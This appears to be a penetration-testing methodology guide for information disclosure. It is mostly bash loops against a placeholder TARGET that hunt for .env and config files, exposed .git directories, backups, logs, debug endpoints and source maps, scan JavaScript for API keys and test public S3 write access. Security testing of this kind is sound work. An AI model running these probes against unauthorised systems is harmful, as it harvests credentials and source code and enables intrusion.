| CWE | CWE-200, CWE-538, CWE-215, CWE-548, CWE-532 |
| WSTG | WSTG-INFO-01, WSTG-INFO-02, WSTG-INFO-03, WSTG-INFO-04, WSTG-INFO-05, WSTG-CONF-04, WSTG-CONF-05, WSTG-ERRH-01 |
| MITRE ATT&CK | T1083, T1530, T1580 |
| CVSS Range | 0.0-7.5 |
| Tools | ffuf, gobuster, nuclei, trufflehog, git-dumper |
| Difficulty | basic |
Information Disclosure
Test for unintentional exposure of sensitive data including configuration files, source code, internal infrastructure details, stack traces, debug endpoints, backup files, cloud storage misconfigurations, and API response data leakage. These findings often serve as stepping stones to higher-impact attacks by revealing credentials, internal paths, or architectural details.
Quick Reference
| Aspect | Details |
|---|---|
| Attack type | Passive/active reconnaissance for exposed sensitive data |
| Target | Configuration files, debug endpoints, backups, source code, API responses, cloud storage |
| Technique | Path brute-forcing, error triggering, response analysis, source map extraction |
| Key CWE | CWE-200 (Exposure of Sensitive Information), CWE-538 (Insertion of Sensitive Information into Externally-Accessible File or Directory) |
Phase 1: Configuration File Discovery
Probe for common configuration files that leak credentials, database connection strings, API keys, and internal paths.
Environment Files
# .env files (highest priority — often contain credentials)
for path in /.env /.env.backup /.env.local /.env.production /.env.staging /.env.dev /.env.example /.env.old /.env.save /.env.bak /.env.orig; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}")
if [ "$code" != "404" ] && [ "$code" != "403" ]; then
echo "[${code}] ${path}"
curl -s "https://TARGET${path}" | head -20
fi
done
Framework Configuration Files
# WordPress, PHP, Python, Ruby, Java, Node.js config files
CONFIG_PATHS=(
"/wp-config.php" "/wp-config.php.bak" "/wp-config.php.old" "/wp-config.php.save"
"/config.php" "/configuration.php" "/config.inc.php" "/db.php"
"/settings.py" "/local_settings.py"
"/application.yml" "/application.properties" "/application-prod.yml"
"/config/database.yml" "/config/secrets.yml"
"/appsettings.json" "/appsettings.Development.json"
"/web.config" "/.htaccess" "/nginx.conf"
"/Dockerfile" "/docker-compose.yml" "/docker-compose.override.yml"
"/Vagrantfile" "/Makefile"
"/composer.json" "/composer.lock"
"/package.json" "/package-lock.json" "/yarn.lock"
"/Gemfile" "/Gemfile.lock"
"/requirements.txt" "/Pipfile" "/Pipfile.lock"
"/pyproject.toml" "/poetry.lock"
"/crossdomain.xml" "/clientaccesspolicy.xml"
)
for path in "${CONFIG_PATHS[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}")
if [ "$code" = "200" ]; then
echo "[200] ${path}"
fi
done
Version Control Exposure
# Git directory exposure
curl -s "https://TARGET/.git/HEAD"
curl -s "https://TARGET/.git/config"
curl -s "https://TARGET/.git/logs/HEAD"
curl -s "https://TARGET/.git/refs/heads/main"
# If .git is accessible, reconstruct the repository
git-dumper https://TARGET/.git/ ./dumped-repo
# Other VCS
curl -s "https://TARGET/.svn/entries"
curl -s "https://TARGET/.hg/store/data"
curl -s "https://TARGET/.bzr/README"
Phase 2: Backup and Temporary File Scanning
Use brute-force tools with dedicated wordlists to discover backup files, database dumps, and temporary files that often contain full source code or database contents.
Backup File Brute-Force with ffuf
# Generate backup-specific wordlist for discovered paths
# For each known path like /index.php, test backup variants
KNOWN_PATHS=("/index" "/admin" "/login" "/config" "/database" "/backup" "/dump" "/export" "/data")
EXTENSIONS=(".bak" ".old" ".orig" ".save" ".swp" ".tmp" "~" ".copy" ".backup" ".1" ".2" ".zip" ".tar.gz" ".gz" ".sql")
# Create a combined wordlist
for base in "${KNOWN_PATHS[@]}"; do
for ext in "${EXTENSIONS[@]}"; do
echo "${base}${ext}"
echo "${base}.php${ext}"
echo "${base}.html${ext}"
done
done > /tmp/backup-wordlist.txt
ffuf -u "https://TARGET/FUZZ" -w /tmp/backup-wordlist.txt -mc 200,301,302 -fs 0 -t 20
Comprehensive Backup Path Scanning with gobuster
# Use raft-large-files or similar comprehensive wordlist
gobuster dir -u "https://TARGET" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt \
-s 200,204,301,302 \
-b 404,403 \
-t 20
# Target specific backup extensions
gobuster dir -u "https://TARGET" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \
-x bak,old,orig,save,swp,tmp,zip,tar.gz,sql,gz,dump \
-s 200,204,301 \
-t 20
Database Dump Scanning
# Direct path probing for database dumps
DB_DUMP_PATHS=(
"/backup.sql" "/dump.sql" "/database.sql" "/db.sql" "/data.sql"
"/backup.sql.gz" "/dump.sql.gz" "/database.sql.gz" "/db.sql.gz"
"/backup.sql.bz2" "/dump.sql.bz2"
"/backup.zip" "/dump.zip" "/database.zip" "/db.zip"
"/backup.tar.gz" "/dump.tar.gz" "/database.tar.gz"
"/site.zip" "/www.zip" "/public.zip" "/html.zip"
"/export.sql" "/export.csv" "/export.json"
"/db-backup.sql" "/mysql-dump.sql" "/pg_dump.sql"
"/backup/latest.sql" "/backups/db.sql"
)
for path in "${DB_DUMP_PATHS[@]}"; do
resp=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" "https://TARGET${path}")
code=$(echo "$resp" | cut -d: -f1)
size=$(echo "$resp" | cut -d: -f2)
if [ "$code" = "200" ] && [ "$size" -gt 0 ]; then
echo "[200] ${path} (${size} bytes)"
fi
done
Phase 3: Log File Discovery
Log files frequently contain stack traces, internal paths, user data, session tokens, and database queries.
LOG_PATHS=(
"/logs/" "/log/" "/var/log/"
"/error.log" "/error_log" "/errors.log"
"/debug.log" "/debug_log"
"/access.log" "/access_log"
"/app.log" "/application.log"
"/server.log" "/web.log"
"/logs/error.log" "/logs/access.log" "/logs/debug.log" "/logs/app.log"
"/log/error.log" "/log/access.log" "/log/debug.log"
"/tmp/logs/" "/var/log/apache2/error.log" "/var/log/nginx/error.log"
"/storage/logs/laravel.log"
"/wp-content/debug.log"
"/rails/log/production.log"
)
for path in "${LOG_PATHS[@]}"; do
resp=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" "https://TARGET${path}")
code=$(echo "$resp" | cut -d: -f1)
size=$(echo "$resp" | cut -d: -f2)
if [ "$code" = "200" ] && [ "$size" -gt 100 ]; then
echo "[200] ${path} (${size} bytes)"
fi
done
What to look for in log files:
- Stack traces with file paths and line numbers
- Database connection strings or query logs
- Session tokens or API keys in request logs
- Internal IP addresses and hostnames
- User PII (emails, passwords in error logs)
Phase 4: Editor Temp Files and Artifacts
Development artifacts accidentally deployed to production reveal directory structure, file contents, and IDE configurations.
ARTIFACT_PATHS=(
"/.DS_Store"
"/Thumbs.db"
"/.vscode/settings.json" "/.vscode/launch.json" "/.vscode/sftp.json"
"/.idea/workspace.xml" "/.idea/misc.xml" "/.idea/modules.xml"
"/.project" "/.classpath"
"/.editorconfig"
"/.sublime-project" "/.sublime-workspace"
)
for path in "${ARTIFACT_PATHS[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}")
if [ "$code" = "200" ]; then
echo "[200] ${path}"
fi
done
# Parse .DS_Store files for directory contents
# .DS_Store files reveal filenames in the directory
curl -s "https://TARGET/.DS_Store" -o /tmp/dsstore
if [ -f /tmp/dsstore ] && [ -s /tmp/dsstore ]; then
# Use python-dsstore or strings to extract filenames
strings /tmp/dsstore | sort -u
fi
# Check for .swp files on known pages
# Vim swap files follow the pattern: .filename.swp
KNOWN_FILES=("index.php" "config.php" "login.php" "admin.php" "db.php" "settings.py" "app.py" "manage.py")
for file in "${KNOWN_FILES[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET/.${file}.swp")
if [ "$code" = "200" ]; then
echo "[200] /.${file}.swp"
fi
done
Phase 5: Error Messages and Stack Traces
Trigger application errors to reveal framework versions, internal paths, database schemas, and library versions.
Trigger Errors
# Malformed input to trigger verbose errors
curl -s "https://TARGET/api/user/9999999999999" | head -50
curl -s "https://TARGET/api/user/../../etc/passwd" | head -50
curl -s "https://TARGET/api/user/'\\''" | head -50
curl -s "https://TARGET/search?q=%00%ff%fe" | head -50
curl -s "https://TARGET/nonexistent-path-$(date +%s)" | head -50
# Check for debug mode
curl -s "https://TARGET/?debug=true" | head -50
curl -s "https://TARGET/?debug=1" | head -50
curl -s "https://TARGET/?XDEBUG_SESSION_START=1" | head -50
# Method not allowed errors (often verbose)
curl -s -X DELETE "https://TARGET/" | head -50
curl -s -X PATCH "https://TARGET/" | head -50
# Large payload to trigger size errors
python3 -c "print('A'*100000)" | curl -s -X POST -d @- "https://TARGET/api/data" | head -50
Check Response Headers for Version Leakage
curl -sI "https://TARGET/" | grep -iE "server:|x-powered-by:|x-aspnet-version:|x-aspnetmvc-version:|x-generator:|x-drupal|x-runtime|x-version"
Debug Endpoints
DEBUG_ENDPOINTS=(
"/phpinfo.php" "/info.php" "/php_info.php" "/test.php" "/pi.php"
"/actuator" "/actuator/env" "/actuator/health" "/actuator/heapdump"
"/actuator/configprops" "/actuator/beans" "/actuator/mappings" "/actuator/trace"
"/__debug__/" "/_debug/"
"/telescope"
"/_profiler/" "/_wdt/"
"/elmah.axd" "/trace.axd"
"/server-status" "/server-info"
"/status" "/health" "/healthcheck" "/healthz"
"/swagger-ui.html" "/swagger.json" "/swagger-ui/" "/swagger/"
"/api-docs" "/api-docs/" "/api/docs"
"/openapi.json" "/openapi.yaml" "/v2/api-docs" "/v3/api-docs"
"/graphql" "/graphiql" "/altair" "/playground"
"/admin/" "/admin/login" "/wp-admin/" "/wp-login.php"
"/.well-known/openid-configuration"
"/metrics" "/prometheus/metrics"
)
for path in "${DEBUG_ENDPOINTS[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}")
if [ "$code" = "200" ] || [ "$code" = "301" ] || [ "$code" = "302" ]; then
echo "[${code}] ${path}"
fi
done
GraphQL Introspection
# Test if GraphQL introspection is enabled
curl -s -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}' | head -100
Phase 6: Directory Listing
Check for directory listing enabled on common directories that may expose file structure and sensitive files.
DIRECTORIES=("/images/" "/uploads/" "/assets/" "/backup/" "/backups/" "/tmp/" "/temp/"
"/files/" "/media/" "/static/" "/public/" "/data/" "/documents/" "/docs/"
"/includes/" "/inc/" "/lib/" "/src/" "/admin/" "/test/" "/tests/"
"/cgi-bin/" "/scripts/" "/old/" "/new/" "/archive/" "/archived/")
for dir in "${DIRECTORIES[@]}"; do
resp=$(curl -s "https://TARGET${dir}" | head -5)
if echo "$resp" | grep -qi "index of\|directory listing\|parent directory"; then
echo "[LISTING] ${dir}"
fi
done
Phase 7: API Response Data Leakage
Check if API responses return more data than the UI displays, including internal IDs, PII, or admin-only fields.
# Compare authenticated vs unauthenticated responses
curl -s "https://TARGET/api/users" | python3 -m json.tool | head -30
curl -s "https://TARGET/api/users" -H "Authorization: Bearer TOKEN" | python3 -m json.tool | head -30
# Check for excess fields in user profiles
curl -s "https://TARGET/api/users/me" -H "Authorization: Bearer TOKEN" | python3 -m json.tool
# Check pagination metadata (total counts, etc.)
curl -s "https://TARGET/api/users?page=1&per_page=1" -H "Authorization: Bearer TOKEN" | python3 -m json.tool
Search and Autocomplete Data Leakage
Search suggestion and autocomplete endpoints often return data without proper access controls, leaking usernames, email addresses, internal identifiers, and other PII.
# Test autocomplete endpoints with partial queries
AUTOCOMPLETE_PATHS=(
"/api/search" "/api/autocomplete" "/api/suggest"
"/api/users/search" "/api/users/autocomplete"
"/search/suggest" "/typeahead"
)
PARTIAL_QUERIES=("a" "admin" "test" "@" "user" "root")
for endpoint in "${AUTOCOMPLETE_PATHS[@]}"; do
for query in "${PARTIAL_QUERIES[@]}"; do
resp=$(curl -s "https://TARGET${endpoint}?q=${query}" 2>/dev/null)
if [ -n "$resp" ] && [ "$resp" != "null" ] && [ "$resp" != "[]" ] && [ "$resp" != "{}" ]; then
echo "[DATA] ${endpoint}?q=${query}"
echo "$resp" | head -5
fi
done
done
# Check if search results expose fields not shown in UI
curl -s "https://TARGET/api/search?q=test" -H "Authorization: Bearer TOKEN" | python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
if isinstance(data, list):
for item in data[:3]:
print(json.dumps(item, indent=2))
elif isinstance(data, dict):
print(json.dumps(data, indent=2))
except: pass
"
What to look for:
- Email addresses, phone numbers, or real names in search results
- Internal user IDs or database primary keys
- Password hashes or reset tokens
- Admin/role flags visible to regular users
- Full user objects when only names were expected
Phase 8: Source Code Exposure
JavaScript Source Maps
Source maps expose the original, unminified source code including comments, variable names, and internal logic.
# Find source map references in JavaScript files
curl -s "https://TARGET/" | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//' | while read js; do
# Check for sourceMappingURL comment
curl -s "https://TARGET${js}" | tail -5 | grep -i "sourceMappingURL"
# Try appending .map
map_url="${js}.map"
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${map_url}")
if [ "$code" = "200" ]; then
echo "[SOURCE MAP] ${map_url}"
fi
done
Secret Scanning on Exposed Code
When source code, source maps, or JavaScript bundles are accessible, scan them for hardcoded secrets.
# Download all JS files for analysis
mkdir -p /tmp/js-analysis
curl -s "https://TARGET/" | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//' | while read js; do
curl -s "https://TARGET${js}" -o "/tmp/js-analysis/$(basename ${js})"
done
# Scan with truffleHog
trufflehog filesystem /tmp/js-analysis/ --no-update
# Manual regex scan for common secret patterns
grep -rEn "(api[_-]?key|api[_-]?secret|access[_-]?token|auth[_-]?token|password|passwd|secret|private[_-]?key|client[_-]?secret)\s*[:=]\s*['\"][^'\"]{8,}['\"]" /tmp/js-analysis/
grep -rEn "AIza[0-9A-Za-z\-_]{35}" /tmp/js-analysis/ # Google API key
grep -rEn "AKIA[0-9A-Z]{16}" /tmp/js-analysis/ # AWS Access Key
grep -rEn "sk-[a-zA-Z0-9]{48}" /tmp/js-analysis/ # OpenAI API key
grep -rEn "ghp_[a-zA-Z0-9]{36}" /tmp/js-analysis/ # GitHub token
grep -rEn "eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\." /tmp/js-analysis/ # JWT tokens
Other Source Code Exposure Vectors
# Misconfigured servers serving raw source
SOURCE_PATHS=(
"/index.php~" "/index.php.bak" "/index.phps"
"/WEB-INF/web.xml" "/WEB-INF/classes/"
"/META-INF/MANIFEST.MF"
"/.gitignore" "/.dockerignore"
"/.npmrc" "/.yarnrc"
)
for path in "${SOURCE_PATHS[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}")
if [ "$code" = "200" ]; then
echo "[200] ${path}"
fi
done
Phase 9: Cloud Storage Misconfigurations
S3 Bucket Discovery and Testing
# Identify S3 bucket names from page source and JavaScript
curl -s "https://TARGET/" | grep -oP 'https?://[a-zA-Z0-9.-]+\.s3[a-zA-Z0-9.-]*\.amazonaws\.com[^"'\'' ]*'
curl -s "https://TARGET/" | grep -oP 's3://[a-zA-Z0-9.-]+[^"'\'' ]*'
# Test for public listing
for bucket in $DISCOVERED_BUCKETS; do
echo "--- Testing: ${bucket} ---"
# List bucket contents (no auth)
aws s3 ls "s3://${bucket}" --no-sign-request 2>&1 | head -20
# Or via HTTP
curl -s "https://${bucket}.s3.amazonaws.com/" | head -50
done
S3 Write Access Testing
When buckets are discovered, test for write access which indicates a serious misconfiguration.
# Attempt to upload a harmless test file to verify write permissions
# Use a clearly identifiable test filename that won't interfere with operations
echo "security-test-$(date +%s)" > /tmp/write-test.txt
for bucket in $DISCOVERED_BUCKETS; do
# Test PUT access
aws s3 cp /tmp/write-test.txt "s3://${bucket}/security-write-test-deleteme.txt" --no-sign-request 2>&1
if [ $? -eq 0 ]; then
echo "[WRITE ACCESS] ${bucket} — public write confirmed!"
# Clean up test file
aws s3 rm "s3://${bucket}/security-write-test-deleteme.txt" --no-sign-request 2>&1
fi
# Test via HTTP PUT
curl -s -o /dev/null -w "%{http_code}" -X PUT \
"https://${bucket}.s3.amazonaws.com/security-write-test-deleteme.txt" \
-d "security-test"
done
rm -f /tmp/write-test.txt
GCP and Azure Storage
# GCP Storage buckets
curl -s "https://TARGET/" | grep -oP 'https?://storage\.googleapis\.com/[a-zA-Z0-9._-]+'
# Test public access
curl -s "https://storage.googleapis.com/BUCKET_NAME/" | head -20
# Azure Blob Storage
curl -s "https://TARGET/" | grep -oP 'https?://[a-zA-Z0-9]+\.blob\.core\.windows\.net/[a-zA-Z0-9._-]+'
# Test public access
curl -s "https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container&comp=list" | head -20
Phase 10: Nuclei Scan
Run Nuclei templates targeting known information disclosure patterns for comprehensive coverage.
# Information disclosure templates
nuclei -u "https://TARGET" -t exposures/ -t misconfiguration/ -severity info,low,medium -o nuclei-info-disclosure.txt
# Specific template categories
nuclei -u "https://TARGET" -t exposures/configs/
nuclei -u "https://TARGET" -t exposures/backups/
nuclei -u "https://TARGET" -t exposures/logs/
nuclei -u "https://TARGET" -t misconfiguration/
nuclei -u "https://TARGET" -tags exposure,config,backup,debug
Impact Assessment
Level 1: Low-Value Disclosure (Informational)
Server version in headers, generic error messages, directory structure hints. Useful for reconnaissance but no direct exploitability.
Evidence: HTTP response headers or error page showing version information.
Level 2: Moderate Disclosure (Low-Medium Severity)
Internal paths, stack traces, debug output, directory listings with non-sensitive files, verbose API error messages revealing schema details.
Evidence: Error response with file paths, stack trace, or database schema information.
Level 3: Sensitive Data Exposure (Medium-High Severity)
Configuration files with credentials, database dumps, source code exposure, PII in API responses, accessible source maps revealing internal logic, exposed debug endpoints (actuator, phpinfo).
Evidence: File contents showing credentials, API keys, or PII. Demonstrate the credentials are valid without causing damage.
Level 4: Critical Exposure (High-Critical Severity)
Valid credentials leading to unauthorized access, writable S3 buckets, exposed admin interfaces, full source code reconstruction via .git, database dumps with user credentials.
Evidence: Full attack chain — discovered credential → validated access → demonstrated impact. For S3: write access confirmed with test upload (cleaned up).
Documentation Template
## Information Disclosure — [Type: Config Leak / Source Code / Debug Endpoint / etc.]
**URL:** [vulnerable path]
**Type:** [Configuration file / Stack trace / Directory listing / Source code / Cloud storage / API data leak]
**Sensitive data exposed:** [credentials / PII / internal paths / source code]
### Discovery
[How the disclosure was found — tool output, request/response]
### Request/Response
[curl command and response showing the disclosed information]
### Impact
[What an attacker could do with this information — credential reuse, further enumeration, privilege escalation]
### Chaining Potential
[How this finding enables other attacks — e.g., exposed .env with DB creds → direct database access]
Tools
| Tool | Purpose | When to use |
|---|---|---|
| ffuf | Path brute-forcing with wordlists | Backup files, hidden paths, file extensions |
| gobuster | Directory and file brute-forcing | Comprehensive directory scanning with extension testing |
| nuclei | Template-based scanning for known disclosure patterns | First-pass automated scan across all disclosure categories |
| truffleHog | Secret scanning in source code and files | When JS files, source maps, or source code are accessible |
| git-dumper | Reconstruct Git repos from exposed .git | When /.git/HEAD returns 200 |
| curl | Manual probing of specific paths | Targeted testing of known sensitive paths |
| gau / waybackurls | Historical URL discovery | Find paths that existed in the past and may still be accessible |
Prioritization
Test these first (highest real-world exploitability)
- Exposed environment files and configuration --
.env,config.php,application.yml, and similar files frequently contain database credentials, API keys, and secrets. Check/.env,/.git/config, and framework-specific paths first. - Verbose error messages and stack traces -- Trigger errors with malformed input to extract internal paths, database schemas, library versions, and sometimes credentials. Common in development/staging configurations left in production.
- Exposed debug endpoints --
/debug,/actuator,/elmah,/_profiler,/phpinfo.php, and similar endpoints expose system internals. These are high-value because they often reveal credentials and internal architecture.
Test these if time permits (lower exploitability)
- Directory listing and backup files -- Check for directory indexes and common backup extensions (
.bak,.old,.swp,.DS_Store). Lower probability on modern deployments but still found on legacy systems. - Git repository exposure -- If
/.git/HEADreturns 200, the full source code and commit history (including secrets in past commits) may be reconstructable withgit-dumper. - Cloud storage misconfiguration -- Public S3 buckets, Azure Blob containers, and GCS buckets. Use discovered bucket names from HTML source, JavaScript, or API responses.
Skip if
- Application returns generic error pages for all error conditions (no stack traces, no debug info)
- No file-serving functionality exists (pure API with no static file serving)
Note: WAFs and CDNs do not eliminate information disclosure risk. Path-based WAF rules are frequently bypassable via encoding tricks, path normalization differences, and HTTP method variations. Reduce priority but still test when a WAF is detected.
Asset criticality
Prioritize by secret exposure: credentials/API keys in config files (Critical) > source code exposure (High) > internal architecture details (Medium) > version information (Low). Information disclosure is often a stepping stone -- assess what further attacks it enables rather than rating it in isolation.